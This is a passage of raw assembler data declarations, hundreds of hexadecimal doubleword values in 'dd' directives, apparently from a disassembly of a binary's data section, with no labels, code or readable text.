4B5C5EADh dd 1A50BBDBh, 8F0B928Ch, 3CDA639Fh, 0B8EF6A44h, 4F89F83Dh dd 0EE4C6D8Ah, 2A264DB7h, 8BF05759h, 5D92436Fh, 6F3C6FE1h dd 0AC756B89h, 0AABAB77Fh, 3B7DD89Fh, 4FDEA34Bh, 0EA490129h dd 79084198h, 31B028h, 256AABF4h, 0C103B04Eh, 664E72DAh dd 801DBD4Eh, 0A100F2FBh, 0A4EBDB9Fh, 0AD73579Dh, 0E6523F86h dd 114BFD38h, 0D6353B14h, 10086CF9h, 0C076B888h, 0DC0F53FDh dd 70ECCFC4h, 2F379163h, 34683C0Dh, 9A41D412h, 638F383Bh dd 0A5FB34E8h, 5CC876ADh, 9DD48A14h, 0DACA536h, 3CDF7E13h dd 41987344h, 0A4A67C72h, 15E3A8F5h, 0C0476B46h, 5398AF23h dd 5E9C497h, 80421E69h, 4693785Ch, 6304116h, 780F3E77h dd 6891AF17h, 16086C16h, 9C3E5BC4h, 2E53B500h, 0DEDA79A3h dd 74C0059h, 8124C3BEh, 0A3CC3802h, 624BDE09h, 8A586616h dd 995509B2h, 9112042Ch, 0F723C40Dh, 20A50B8Ch, 0E13C4678h dd 41D2BA67h, 6B2829CDh, 47DD12DEh, 0C4AA6E9Bh, 0C1E5F1FEh dd 0CE5CCB75h, 360EAB66h, 8DCB6A2h, 6F979C1Bh, 0FDDD35D6h dd 97A32612h, 2200DAF9h, 0FEF265DEh, 9CF5BC4Ah, 93CD2305h dd 0DB8C363Bh, 0AAEC9FAAh, 0F1397513h, 4873C921h, 0BF710D3Ah dd 7B07CD92h, 9AE3F6Bh, 79E2E203h, 0A12A38B7h, 29D3CD4h dd 3ECFBF72h, 4BC41933h, 1B53A5Eh, 6429DFAh, 14DE7358h dd 6A26FAFCh, 0FC3FEC69h, 8B861090h, 0CC603B7Ch, 89D7F788h dd 0B6FD789Ah, 0FDBA94C1h, 44AB66D0h, 0DBB4C31Fh, 4DF13BD2h dd 7359F08Dh, 9F758D43h, 0F8DD24AEh, 3A124DC2h, 2339447Dh dd 1D01F0D0h, 0CB02E222h, 3E0FDE6Bh, 707CA129h, 6404250Ah dd 0BBE391B0h, 0E9FAC5F4h, 2FC7F486h, 572A48EDh, 2D82943Dh dd 56459882h, 0AACE8F3Ah, 0CA743808h, 6AD34506h, 0C34ECD1Dh dd 5F56CA85h, 0A3E4861Eh, 0C3D2CAF7h, 8746F09Fh, 29D469CEh dd 17BD666Ah, 82F07794h, 0F837340h, 0C23CD11Dh, 0AF429DDBh dd 55CC9CEBh, 9510FB6Dh, 0F745602Eh, 185EA0D0h, 47AE6907h dd 52E3CFA0h, 71202C12h, 62A3319Ch, 0B934C809h, 7873F432h dd 93DAE8BDh, 9CCD3AC3h, 94C63B73h, 3FE73B7Dh, 8FCCBB23h dd 0F79B2890h, 78815D55h, 179A0C1Ch, 0CFC4A7DEh, 6B87BDBFh dd 0CB50E6BEh, 0CEF1A470h, 3B4C7463h, 0F18F38B7h, 0F89574E5h dd 0EE29223Dh, 75B026EBh, 0CE229815h, 6F2EB93Dh, 58C2C70Ah dd 6D0BD78Dh, 903D3DB1h, 38D71134h, 44FEF808h, 0A186F4B8h dd 0DE8CA78Dh, 0E264E66Ch, 0D96184E0h, 0CE117323h, 386A7897h dd 0D92BE2A7h, 84E6D829h, 0B9F7C72h, 0BFC27420h, 0B9674210h dd 0AED8BA8Ch, 3FDEFD38h, 1730416Eh, 244EDC0h, 6C67AE34h dd 398557h, 0CD2386E3h, 0F98A4375h, 10D4613Ah, 70D687C2h dd 8E68E548h, 0A133BE02h dd 5E448627h, 88698276h, 63753F04h, 0D73D3CBDh, 0B6C170C6h dd 5E8FBB35h, 2DF352E2h, 0DD3BF6E3h, 20B71C6h, 7703F17Eh dd 0C315D2A0h, 0EF898AE2h, 1BC6C81Ah, 0B530908Eh, 0BC18452Eh dd 969FA09Eh, 59ABD66Bh, 0AFF18D41h, 938C3846h, 58C93153h dd 0BD1FA37h, 7CAAE503h, 9EC07E2h, 0C7A03CE7h, 88BC731Eh dd 5057188Bh, 6951AD14h, 4645B8A5h, 606D99CDh, 53B5078Ah dd 0F4E915C1h, 9CDB1278h, 2723565Eh, 67CCD242h, 5EE00EA8h dd 0FCCD9F42h, 0D3BF05B1h, 0D4546BEBh, 59218438h, 0D9F2BAAAh dd 0C07D2045h, 0C1380F1Bh, 4873E10Fh, 0F2773F24h, 0C3AC3BFAh dd 0E280FD7Dh, 0D133B132h, 21666706h, 0A9BBA4E4h, 0C75A961Bh dd 54DB83C7h, 53F8C41Dh, 0A274FE62h, 1A5DBF09h, 0B4B4FFC4h dd 691C89B0h, 3179F3F7h, 0F502B0D4h, 1735E0Ch, 0E242F6B4h dd 0F947E56Dh, 88B6109Bh, 581F2EA5h, 0C5B52D5Ah, 0D11E72B9h dd 0BE5FD093h, 0DC61443Ch, 9CF90AE2h, 187B4DCEh, 5CE20E50h dd 1B09ABB8h, 6D624809h, 0DF283E0Dh, 43E6A0B7h, 5AE38881h dd 1ED0532Dh, 0B139C8F3h, 0B98F2D64h, 1581B883h, 1EF08F4Dh dd 1D99EC20h, 9684ACBBh, 54D0CC61h, 4E41C6Eh, 2C90C735h dd 314F70C7h, 268AE228h, 0F21F35C3h, 0F69305D4h, 7E3229B5h dd 0ADC435A4h, 0B7F38BB6h, 2310061Dh, 0FC5361A7h, 0DE41BFAEh dd 0A883A7EDh, 4D1E033Fh, 488A189Eh, 7FA612Eh, 0E23797Ah dd 0FE507908h, 6B105750h, 3AACC14Bh, 3560A060h, 8327E79Bh dd 0CC5B69A7h, 3D1F10D4h, 0E8C8280Eh, 0A7569862h, 0EA14D34Ch dd 80035552h, 5DB91F31h, 0FF34672Ch, 41FBAD3Ch, 1DB6FA3Dh dd 8E074EFEh, 323AC4F7h, 4115986Bh, 7FB7823Fh, 8FE177CAh dd 0EDA9EF59h, 0D3E13675h, 59099845h, 0EA2CC9D6h, 0B2239C79h dd 21914AAFh, 8B9D093Bh, 3C084194h, 0F15B171Eh, 0CFABB5B5h dd 0CD435D4Ah, 777F572Dh, 0D352DE48h, 56A0FEFCh, 0FC3DA44Ah dd 99927FAh, 0EC879C06h, 753BCB4Eh, 62981A8Ch, 6F90F4CFh dd 0E5B63F88h, 0C493FB40h, 5515FF2h, 0BC3ECB0h, 0D473382Bh dd 5CA09ECFh, 64965D0Dh, 0B3D410E3h, 0A7F83E02h, 26EB6900h dd 6DE09CD4h, 83C556C4h, 0F1FED5Fh, 86C56815h, 671741FBh dd 0BECFCCE1h, 20937438h, 5C84E748h, 6FC91E8h, 0B45EC776h dd 0BBDF886Fh, 0A693C454h, 0E29983DDh, 14D88727h, 609898C9h dd 0EB957A94h, 17148A2Ah, 3D27E500h, 17C68802h, 62FA842Ch dd 5012A01Eh, 74DBDC5Dh, 58ACB264h, 422D1781h, 1E006B7h dd 8F1895DFh, 0E95D010Bh, 0A17C3B2Fh, 8568448Ah, 15D1D9E5h dd 3C6CFB3Bh, 4A4C923Dh, 0ACBE272Ah, 6453BE24h, 2DDE196h dd 8C7EA790h, 0F72968F0h, 7179DBC6h, 5F75A14Eh, 0F44DE344h dd 799B00C4h, 0F92D68DEh, 0E32206h, 31F01094h, 0F7C49E1Ah dd 0DE8DA9C5h, 0EDF5BC61h, 70082BF8h, 2E24B0D8h, 555691A9h dd 664EE50h, 0A276F8B8h, 4947043Dh, 0BA3C1546h, 5327E012h dd 6B226B1Dh, 0A5E63161h, 0A2103613h, 776B1386h, 481AE243h dd 9674ADE3h, 8F212AFh, 9DAF97B9h, 0CE80715h, 0CB9BF1FDh dd 2D3833C2h, 8E64DEF9h, 0E0DB52Eh, 6708A549h, 0F123FF61h dd 57F019CBh, 6D55A244h, 677D5F78h, 0A8F10206h, 1DDDA90Dh dd 0F4275342h, 0E323F06Ah, 1F3EF9B3h, 0F03AF77Eh, 86C7BF42h dd 9F8DD070h, 512EDAC4h, 0EC5ED110h, 4FE85AE1h, 4A8271CBh dd 0A9ED21CFh, 6712DD9Bh, 0DA6B794Bh, 2EFCF209h, 4976D44Bh dd 0A629BB2h, 7C66999Ah, 0A3DC3BBBh, 0EAECFD84h, 0C845966h dd 31DC1621h, 0E6B0589Dh, 0D9EDC966h, 0A90984F3h, 21BC33E0h dd 0B521836Eh, 34C30AEAh, 662150D6h, 3827BDE0h, 2C24461Dh dd 0ED234AD6h, 1B1A97F4h, 118130BDh, 5FCBDF9Dh, 0A4EBC3DCh dd 643D720Ah, 75C59618h, 6BD5071Eh, 9909913Dh, 28CEA681h dd 1C23E713h, 7F2477C2h, 0BCF27547h, 0B77BEE68h, 850D81CEh dd 0ABA27F63h, 10BC9783h, 0C3C00E23h, 66E46892h, 0CB0920A6h dd 77DE9BA1h, 4BC1165Ah, 5012C9B9h, 0BEF74B5Fh, 216B17CBh dd 1D1387Eh, 0B94FF49Dh, 0C9E37264h, 0CB96C58Bh, 5E192752h dd 0CA7BFA32h, 0E716197Dh, 92FF3B25h, 6D5B3D9Bh, 4A3AE9F9h dd 0A96FD60h, 307CB8ACh, 0C1A059FAh, 80A2ABD5h, 0C113B02h dd 29A33906h, 808B7C35h, 0DFE29796h, 4D96E009h, 38F39F96h dd 9D844CF5h, 49EE6F88h, 0B2B5F196h, 0D54D8047h, 0E2B0C6B5h dd 4B58CEA5h, 6E58C566h, 999E6C97h, 84F41780h, 74F359D3h dd 56E85EEAh, 86B48BC5h, 7AD18AF5h, 0D17CB7D4h, 4664FE11h dd 0A7CC6032h, 5EA80B93h, 749954B9h, 0B0363887h, 0DC3391D7h dd 7ADB1735h, 0D5BDABFh, 770755ACh, 0FEA1B0Ah, 0D4ED3E26h dd 6A66932Eh, 0C04A48E9h, 1E78B509h, 0F5682FEh, 3D26E177h dd 0A739844Fh, 4C52FEE9h, 74791BDFh, 24766DFh, 2F39FC7Eh dd 0EF6F14BBh, 6019F8EDh, 9CF1CB58h, 4A4B00F3h, 6F9EE1EEh dd 0E319DCA2h, 7A4ACF2Fh, 6FE19A22h, 49F22F26h, 0E29F599Ah dd 1EC925CEh, 0B247EB6h, 2746224Bh, 787E1E26h, 0DEF24D52h dd 0C33CAC24h, 466BD45Eh, 233E62F5h, 5B5846C3h, 1C9C854Fh dd 62D75E8Ch, 0F37CF4E5h, 6C3DF17Ch, 521B0ECFh, 3A2DD29Fh dd 858C6975h, 79FFF25Fh, 534107B3h, 4B0D7DC2h, 1035A4C4h dd 63A3CF11h, 0C6DF25EDh, 0A4F48515h, 5BC5619Bh, 128CCDDh dd 0A320AD90h, 0EFC59B6Ah, 5D64C696h, 73B441AFh, 7B3FA302h dd 0D0ECE4A8h, 0C7253726h, 1FD6CD66h, 707F9B37h, 0A2608BD2h dd 0D70C8EBEh, 7D35DBD7h, 0F282B0AAh, 0A087CB0Ah, 7EF2BBF1h dd 5140717Dh, 747B3BD2h, 1B46DA2Ah, 0E5BFF08Bh, 93B1DBC0h dd 0F9169F06h, 777E61B4h, 85732A4Dh, 0E917C068h, 0BC018DD0h dd 8E5839F8h, 0E9DDE20Fh, 0E4515295h, 51164B39h, 0EA0FC3E5h dd 0C9D7CC54h, 69A6362Dh, 4F2F1621h, 19D00027h, 1BEF1052h dd 14A6C4h, 0FBA4F950h, 396FFC6h, 0CF1DDCEBh, 0ECF6838Dh dd 135F4633h, 4FB7C14Ch, 474EDD5Bh, 0EA14FB84h, 65D9ACCCh dd 0A67CD3Ah, 7DB86437h, 0D93E1BC2h, 40657F20h, 0B9E52213h dd 40AADB18h, 0C58EA58Fh, 0A165C083h, 941542CEh, 84FF5E44h dd 1496BA28h, 62E3361Dh, 0E3A967CAh, 13069AFBh, 0F31E9EF9h dd 0CE35FBA0h, 7E4D9402h, 5629461Ch, 0DCEEFD41h, 16358CF5h dd 394793C8h, 0A1B28CC6h, 178C0427h, 0EE1B889Bh, 0F7C6E34Dh dd 0A3B35388h, 461E4DA1h, 95EBBD29h, 0E9284F44h, 4A0DB168h dd 12F83588h, 0A58C7BA2h, 411FC049h, 2A82EA48h, 642CA356h dd 0D57F33EAh, 8B2141CBh, 1F89ED1Dh, 0B25770EAh, 0F10EF9CCh dd 0ED549B50h, 0C577E3BEh, 0EE3EE468h, 3A6594C4h, 1F89DAECh dd 8CEA0511h, 7A04B359h, 487002F5h, 0FB4F7BBFh, 794EF4AEh dd 21ABD5AFh, 0B24C112Bh, 8D414F2Bh, 0CEBC0A91h, 89912993h dd 6655AC53h, 4880BC0Bh, 47E78B4Eh, 9CC29113h, 6A4927C7h dd 2747B75Fh, 0E5AE4FC4h, 15CF5801h, 49551C5Eh, 0A0CAEACAh dd 39304F3h, 3E061F7Eh, 3C1A01B9h, 45BB2DB5h, 0BEAB2928h dd 6DDE0D7Eh, 45BC30F7h, 1E325764h, 6A3AFF82h, 853C46F4h dd 0D9A8D30Eh, 2BDCA129h, 29111491h, 37EE9E36h, 0DC1FA229h dd 664A83DCh, 54C6CEC1h, 7FF7223Fh, 51F03DB0h, 1CFFE99h dd 4AC0C59Dh, 5D83A00Ch, 0A432D937h, 20D17DDAh, 2D8C1479h dd 0E7B3C808h, 3C351E76h, 0FD3AAB31h, 2EB51487h, 1458CFA0h dd 9F96898Eh, 0E1A76A24h dd 0C7081B7Ch, 953F7E7h, 5FD0F872h, 789471B6h, 0EC443671h dd 0B8E24D48h, 748E1639h, 0D01544Dh, 0EC297244h, 9D6FE2BBh dd 0C487B491h, 184F6FB5h, 0AF7A0B7Ch, 5D7DB06Eh, 404230E6h dd 3F708DBBh, 0FE7342D6h, 4276838Dh, 1F60CD7h, 0E92D84D8h dd 0B1C15CB2h, 70AC8D51h, 0C9350DADh, 13B9BB63h, 9302444Bh dd 6A733369h, 9D4EFFEh, 704F332Fh, 6FC4F3AAh, 8BF6B3B7h dd 793DE586h, 0AF10131Ah, 26D8AF49h, 0D06EA403h, 8069FBCEh dd 6802F3A8h, 0C04F7588h, 6C04B58Ah, 36F59BB8h, 555C7C08h dd 0E89EF0DCh, 10656EA1h, 785830F8h, 0CA658F9Fh, 45E72A22h dd 2F1181D2h, 39E2904Ch, 274B452Dh, 0B61A905h, 1E2637h dd 848142F2h, 4823F6FEh, 0FA3B87A7h, 0AAE0D2FAh, 9D978E37h dd 0C5C350F6h, 38513FFCh, 0D7C8567Eh, 0F1C7C59Ch, 0EE37BC77h dd 6DDE6E51h, 0CBE8C0B4h, 42AAC584h, 0CE7C4948h, 7D19AC08h dd 371FFFCh, 0B07E8BB8h, 37D2D6BDh, 21B0AF99h, 29BC6D1Bh dd 0AE6A4AA2h, 85470441h, 3B113CBBh, 6A86ABB0h, 0F25DA3CAh dd 0D8C0159Ah, 63E2CE7Bh, 1C47E25h, 0C8614BBDh, 0C0E7D014h dd 0A1FBE5C1h, 4E08C0B6h, 0F7979994h, 69CC108h, 0AB325B61h dd 0B14750CFh, 1F5F47D4h, 677E858Dh, 3D6948DDh, 7D6A6FE5h dd 8F462A85h, 51404FC5h, 80ABDCAh, 0F9434F3Dh, 182CD862h dd 0BE600870h, 5CDC8E8Eh, 79BD82C9h, 971422A7h, 0DEA71BD4h dd 0E1021AA7h, 62B13C5Dh, 5C665DB6h, 6F2A58EBh, 871E4D82h dd 7743D38Eh, 55171B7Fh, 0BFA248A8h, 75309722h, 0F46B445h dd 6FA2A79Dh, 0D8D91667h, 5F0232E7h, 0EE636139h, 59060387h dd 91AE9883h, 0BCE5D6A4h, 0D5D31E2Ah, 0C3644247h, 0B98FF99h dd 62EFD878h, 9A936FC1h, 0DE4BD53Fh, 0B6F63DBEh, 74204153h dd 0B8CF8C5Bh, 0A2FC8E4Eh, 52C2FAC9h, 9991508Ah, 7050249Eh dd 0DDFE0F6h, 48B42677h, 0FBDFDC1Ah, 71D8A697h, 14DF3819h dd 2DA812EEh, 15F81497h, 0B8EE204Fh, 8E41E0CCh, 154A8ED8h dd 0DA10002Eh, 0C903567h, 0CB252754h, 86B3A792h, 0A911CFE2h dd 0FD50AEC3h, 953B404Ch, 0A27A08C5h, 60CEDA7Fh, 60FCA776h dd 47AE68FDh, 7CABBC72h, 7D0DB719h, 7E447D66h, 0AADCAB04h dd 9A6F36D5h, 69C3470Ch, 3EA271DEh, 889670A4h, 73F16BDh dd 0AB94BF81h, 223264E7h, 3A7C8546h, 651292EDh, 3875B57Dh dd 5FFA63AFh, 7A0D5B7Ch, 9C6A3D8Bh, 1BA3F05Ch, 0BE638C81h dd 418D89A9h, 0E10D55ADh, 2C54B919h, 22B86A6Ch, 8B272D7h dd 78D61FE2h, 4B54EECDh, 0EB804264h, 0FC25C882h, 5B249405h dd 44A9AD00h, 0ED415F98h, 112E3BD4h, 0FEC55AC7h, 0A501E4CFh dd 8D8FE851h, 0F6A22B0Fh, 390E0C06h, 1E1F41A6h, 0F495B8h dd 778D0035h, 0FF915FFFh, 0EB175BCDh, 1AA0B181h, 28CA1E0h dd 0A97A7B71h, 3A2D5A79h, 97138072h, 1361DF20h, 50BE7622h dd 0FECAAC92h, 11C47F3Bh, 0C9BB026Bh, 0A7BC5CC1h, 0E6452801h dd 7464DBE3h, 0DE49AAF7h, 0EC445D2Ch, 8AFAA249h, 0D6202B48h dd 7B50B7ACh, 0FECD2A3Bh, 0FA0DFBCEh, 0E18462C5h, 67EB7D61h dd 0BE282295h, 41368473h, 136FBDC2h, 0C587B8B7h, 7E4D8D23h dd 0C6C1695Dh, 51C4F4F2h, 7B59E005h, 91BBE8C7h, 96BC24F6h dd 0B112135Eh, 0CD481555h, 19E438E6h, 0F98F88C5h, 0BEE2632h dd 0B7D689B1h, 9C92A159h, 0C763612Eh, 0EE04A460h, 487129C7h dd 0A6D43BC5h, 970141D4h, 0FFDE41DCh, 9D28E931h, 0E8800DEEh dd 15D8012Ch, 644F3881h, 5910E362h, 943E2053h, 0CDE4A1ADh dd 95B600FBh, 0F0B43E23h, 96AFCD58h, 0C8E4D341h, 0FEFFB29Fh dd 0A65EEB14h, 6E786EE7h, 794FEB3Dh, 384EAC36h, 3F0D1F3h dd 5EDF676Ah, 355496A3h, 962EB8A6h, 385047E6h, 0BE53FFE6h dd 0AACBFC2Dh, 0FD784172h, 6F17AAAh, 0AF1717C6h, 575FC0C1h dd 0DCBC0540h, 535DC221h, 795914C5h, 0C79478ACh, 0F5CF42B0h dd 0B18C938Dh, 57C7E913h, 0BF18992Bh, 0ED22FF8h, 9C5089ABh dd 2BAB211Bh, 8AAF0DDEh, 7C9209BFh, 67C851F2h, 0E8FE9381h dd 7D7FB9E8h, 903193B2h, 0DDB8EE83h, 4E4B265Ah, 3EAB32B7h dd 1C77E013h, 4D807A02h, 0AD761D54h, 646A99Ah, 86C59819h dd 81359949h, 0E13AB86Ch, 0C8DA4486h, 389326D4h, 9304BA3Dh dd 4C63E3F8h, 6BDEE363h, 0DFEA217Ah, 0CA0CC31h, 0DFEC93BDh dd 452B959Fh, 33255156h, 42AB35FFh, 9028D474h, 60149861h dd 90ABE4DAh, 1D0BAF33h, 0DB0CFFF2h, 102AB39Bh, 0E70F2216h dd 0BB9C736Eh, 1B723B14h, 0DC8F6BFh, 4B608D75h, 8DFBA1BDh dd 9BE87999h, 87F90925h, 903B3CDh, 99B1063Ah, 812E7645h dd 90CEAEFEh, 3C6CBB8h, 0C255E63Ch, 0E9481F79h, 5AE03380h dd 0C36D0AB7h, 4380286h, 0BA359513h, 0FF07119Fh, 6EA1C175h dd 0D3ED9AE0h, 0B70D0B15h, 2D5F3DA1h, 0FF1A2A3Eh, 4FEAEB2Fh dd 0FC6DB6A4h, 0EF1602F1h, 0D1434432h, 9F268372h, 1A5BF777h dd 0BB12B730h, 0E932E541h, 9614C0F3h, 0F21707E3h, 0F962D61Ch dd 0F26256EFh, 24E06FDEh, 0A0994E1Bh, 0B0388768h, 6A23DD98h dd 944C024Ch, 0A97B38F7h, 0D9777536h, 1F21F4BFh, 3E301B1Ah dd 8F4D0EA0h, 960EFAB7h, 0B13D97EDh, 25C6D34Eh, 128EE1BDh dd 57D5B40Eh, 8168829Dh, 733CFE17h, 9640A2BEh, 949719C8h dd 0E41521B5h, 0D71795F2h, 5142B128h, 0E2704C52h, 0AD036A96h dd 21BF71E1h, 2F36707Ah, 8721AE30h, 907096E2h, 0D5E1029Ch dd 5A170AEh, 0BF6B8222h, 4D9C09E1h, 6D6CED01h, 0C59FCEE8h dd 628A6E3Bh, 737E6D46h, 2F3D1761h, 0CF474640h, 0E3C84A21h dd 0A0106F0Bh, 0BF94CF86h, 3DFD95DBh, 6A35E9E8h, 3C90481Fh dd 0E9AD3789h, 363A7792h, 58C1935Ah, 522A2030h, 0FE685Bh dd 78839FDh, 0BA28758Ah, 169EFBEh, 4BC22B95h, 971A439Ch dd 278B6940h, 1A404000h, 62FC4765h, 27DF07Ah, 24A0653Ch dd 0AB6A7638h, 0FEAD20B1h, 0E8C2DB6h, 0AB423953h, 0CDEF7911h dd 36A34D96h, 0EB653001h, 38F44B27h, 2C19EB5Fh, 0E5E3E503h dd 30492086h, 0D83BABEAh, 677BB89Bh, 0F9914F00h, 0CCAC0324h dd 0BD5F6772h, 5B30478Fh, 5B41F7C7h, 0CE5B33CDh, 51EB98DDh dd 0DA0C25E4h, 6A6E4517h, 56A8AC6h, 0BB602F52h, 2075AB13h dd 2C4C2766h, 598698BAh, 3863F05Bh, 33E562A9h, 0D6575D6Ah dd 0A1546FFCh, 77E3E53Dh, 0FB7B026Ah, 9D6C172Ah, 82F16977h dd 0D792CDC9h, 3F65192Dh, 17224EA7h, 0DE9BDBB2h, 0F4DD105Bh dd 1FAF1C38h, 87836E1Fh, 0D735DDDEh, 7D004A7Ch, 355965BBh dd 86F098A5h, 48B9B889h, 0FE4F7025h, 0C35E83AEh, 0D4AFEEAFh dd 0B57C762Eh, 8CC864C7h, 5DB3D69Bh, 7087AFC0h, 4F7D4273h dd 2E461647h, 0C8F82CA9h, 0EAAD9A68h, 31B4CCE9h, 0A8978CC1h dd 827A9FB2h, 0EB32D610h, 0D7B4090Ch, 4908C734h, 24E72B4Eh dd 69EECBE7h, 0B2C78961h, 0EB708B08h, 74147750h, 0EEE8BB5h dd 0ADF030C9h, 9A0AA92Bh, 57442853h, 0C92F2262h, 97343978h dd 0DBE91F38h, 0CB383D53h, 5125FB84h, 0C2D971BBh, 0E6EAB7FFh dd 0B9BC280Eh, 24185A10h, 0BC0437CCh, 0F682A9h, 0AF546B10h dd 15E65379h, 5706028Dh, 0C56EE579h, 49CAEA72h, 98640859h dd 5E38D30Dh, 1D17718Eh, 0E022F205h, 0D69498BDh, 87C59A5Ch dd 1020BB00h, 6A0B8884h, 0CA9B558Dh, 1796F2D4h, 82214E27h dd 0FE2FC207h, 942B03E2h, 5378217Eh, 0AD684472h, 45E4A967h dd 0FDF8389Eh, 57A8E339h dd 0F86657C5h, 0A1642BBCh, 52B7EFBDh, 2520C4FEh, 4E87E289h dd 99E550CDh, 0C223E27Fh, 5121C921h, 0EF412FA4h, 11FADC70h dd 3FDC5411h, 0CDDC5F7h, 0D8A5F1E6h, 0A7F61136h, 24A393EFh dd 0BC1FA38Fh, 7D06AF9Eh, 0ACC475C3h, 178B2338h, 8F15C6CDh dd 1F4986Ch, 0E9078BDBh, 2A1BCB74h, 0F1F1EEC2h, 67832586h dd 13D4987Ch, 0CFFA3CB5h, 93A44A17h, 69399EF9h, 95C0410Ch dd 0B17FE072h, 0AED2CB56h, 0E51B5A0h, 0FD7CD39Bh, 0AF91FB38h dd 1825033Eh, 1188FBD6h, 96FFFD48h, 47D6895h, 6EF547AFh dd 0D5189AFh, 7A9723AFh, 34C274EBh, 0C9EB62F3h, 0D79C050Bh dd 0DD57C39Eh, 3CBC8FABh, 63500222h, 9C247901h, 6240D053h dd 6E4F51AEh, 50E58313h, 3E44232h, 0AFA3F1Dh, 0FA2116DCh dd 0F6BFA5EFh, 986CB8h, 800021F9h, 7751A90Dh, 0F35990EBh dd 2B931000h, 23A191Ah, 14BC56DEh, 6F0492EBh, 889BAA64h dd 0C9B2121Fh, 0F1F1813h, 0DC4A254Fh, 6AB77181h, 552C9AF1h dd 0C3F21EF4h, 0D4F69C59h, 89B93624h, 0F507255Ch, 425CFE74h dd 63156DD0h, 9C647DB5h, 0DCBAF2AFh, 0D7BE9B7Ch, 0F3270054h dd 98027E16h, 6282102Fh, 50BFABCFh, 0D30BA5C9h, 5DE060D2h dd 0FC8A0E4Ch, 3DCF3D89h, 873B6E6Bh, 0E5F73BD6h, 27138F8Ch dd 0C1CEFC4Fh, 463950D4h, 450188B9h, 81AE3695h, 84E5BFE5h dd 2511D670h, 0D15391h, 4B928152h, 0D44A2698h, 5356B8ECh dd 0DF1F6984h, 1D10AC54h, 69EAC7D9h, 0BA871B49h, 10D85912h dd 93C7199Fh, 0A65A12F0h, 8AE2F4F4h, 930B02EBh, 0A95EBF2Dh dd 0E7094460h, 550F82F1h, 8DFC5149h, 0D4EDB5C5h, 0CEB39961h dd 11A7E971h, 64D06BC5h, 0B2290DF2h, 6BC091FAh, 4B9DAEEAh dd 0E633859Eh, 7A27AE5Fh, 0B541B432h, 4E16BB7h, 82DF8033h dd 65DBA939h, 6C06A94Ch, 57AE35A1h, 0FD7086B1h, 9CB920CCh dd 0DC94AEECh, 44B40CFAh, 0ED45F750h, 0F0F6F88Ch, 0F3DE6194h dd 38D6DD62h, 0DF297B81h, 0EFC175D4h, 55AB9D1Dh, 71E5DD1Eh dd 4AD8BCC1h, 85CD7070h, 1EBAF90h, 0FCAAEF60h, 4157E4E8h dd 9BDD23C5h, 617372C5h, 0AD835894h, 1FA0A0C4h, 0B7D1B8CFh dd 4E4DD2C4h, 968836B0h, 492CFC46h, 33D96E52h, 0A68722BDh dd 21C86DA5h, 0C35408C1h, 90B92058h, 53B05E8Fh, 52A616F5h dd 0BB41F47Bh, 917C91C9h, 87EFA463h, 0E101F3CFh, 8F9CE4Eh dd 0E9D294F9h, 4E9C603Bh, 486C8BB6h, 0FA0B1885h, 0E6775C3Bh dd 4296A388h, 9EF815ECh, 4AFFA80Eh, 2B05EC0Ah, 0D90BB622h dd 1B56A217h, 0F24415BDh, 3B81EFCBh, 0CC67F336h, 7A57726Bh dd 0A000BF28h, 228ED46Ch, 0F1E7A3ADh, 0A40D11DFh, 0C374F73Bh dd 2B27033Fh, 6C956719h, 5A652650h, 3914A99Ch, 491BEA76h dd 232E9034h, 0F8677856h, 87FA8148h, 816B60FFh, 0F5F8C0EAh dd 69E7012h, 91B8A116h, 1AE30B4Fh, 0D6C79D7Eh, 0E68C0715h dd 0A2EC5607h, 0EF470E33h, 60DA67CEh, 0E4C85DC7h, 0DB88BA12h dd 10176FD9h, 9522F3E0h, 4E9CC6B6h, 44B69CE3h, 601FC9BAh dd 8D8FC432h, 5162DF5Eh, 0E5496EE7h, 59A98E8Ah, 138F652Ah dd 0E785E92Bh, 0B3FEEE7Dh, 34D2AA15h, 8743CF3Bh, 5E00C666h dd 98629FC6h, 0D23ED641h, 0F1172CEFh, 22851A31h, 37CB6649h dd 4AC76BE5h, 0C22D72E0h, 7094E07Dh, 834CF757h, 5E5C287Bh dd 0D9BAC4B6h, 28634F39h, 1758F991h, 25C40903h, 0F938CAA7h dd 734F14E1h, 0B1A18D3Fh, 85E37010h, 3E2F79FDh, 4B286B0Ah dd 6B99DA84h, 0CE9C26D0h, 0DB07E3ECh, 2E9F76BCh, 583A73C8h dd 9F47C47Eh, 8850325Ah, 36DED5CEh, 25E2B516h, 516581BAh dd 21DFE4Eh, 1C331E7Ah, 0DF06E508h, 90C40A68h, 0C4A6650Fh dd 0BEBAEFAEh, 7185F66Ah, 0CAD5C361h, 395C209h, 8605B417h dd 0D76A19A3h, 91D05D4h, 0C4D1F73Ah, 0F7FFFE83h, 0A7A70887h dd 7375418Ah, 2E6BF380h, 0C804E682h, 90366B5Ah, 9CB6549Dh dd 0FEB9B875h, 88AF1828h, 0CEE7D9D2h, 47191503h, 0D3634F38h dd 84BD3A48h, 0D87016Ah, 4D1714FBh, 442AB4B5h, 2C5B46DDh dd 7073F9D7h, 9D94F771h, 0ABC9640Eh, 22172B6Bh, 6830940Fh dd 0C832C69Eh, 0F598792Bh, 57489CF5h, 4486A943h, 226D4BDEh dd 0E9CB9602h, 44CF87D7h, 897FCE05h, 0E860AD42h, 0EA830E62h dd 0D15BBF21h, 78C27E46h, 928A2827h, 7A6C934h, 671E0034h dd 0C68B7076h, 0B204F1D4h, 99D144A5h, 0D0E485ECh, 0A2802665h dd 38E2EF44h, 2B47A3CAh, 87C476D1h, 31DEBE95h, 81AA04ABh dd 0BE9E4CC5h, 0FCE1EEB2h, 0C94492D2h, 0CCA7A7C5h, 558622CEh dd 1D5C35A1h, 0D09C74EBh, 4A0A0F52h, 0D4B88747h, 7F29B900h dd 6AE9856Ah, 0B7CA3DD6h, 367F09FAh, 0F9CE7888h, 9C845BB8h dd 0FD0F8291h, 53584C2h, 4E0AA60h, 5C5526E8h, 22A9544Eh dd 4A4EFF9Dh, 7E9D594Ah, 93E54694h, 5AE1FD32h, 3B776FE4h dd 0F222E1D4h, 0CB9D97ABh, 1CC3FD7Fh, 8839B03Ch, 9E5A3AC8h dd 13EA301Dh, 0A34BF6D8h, 217154EFh, 0BB5B25FAh, 27DB2539h dd 8DF5FA6Bh, 6CB09264h, 0E2E7C2DDh, 68774E7Ch, 0A598B8Bh dd 0D0C5F4D8h, 636EBA41h, 9A8EB625h, 857A6580h, 3E025EC4h dd 0AF83EA95h, 0EA96590Dh, 32476441h, 0EA56D016h, 45E71A33h dd 86CFBF83h, 7911C588h, 5E01A1E5h, 7CE28E35h, 8BCD288Fh dd 4910912h, 5857416Fh, 0E535B7C2h, 0A61512FEh, 71ED34E6h dd 8FE7DD58h, 0EB176C65h, 8F367288h, 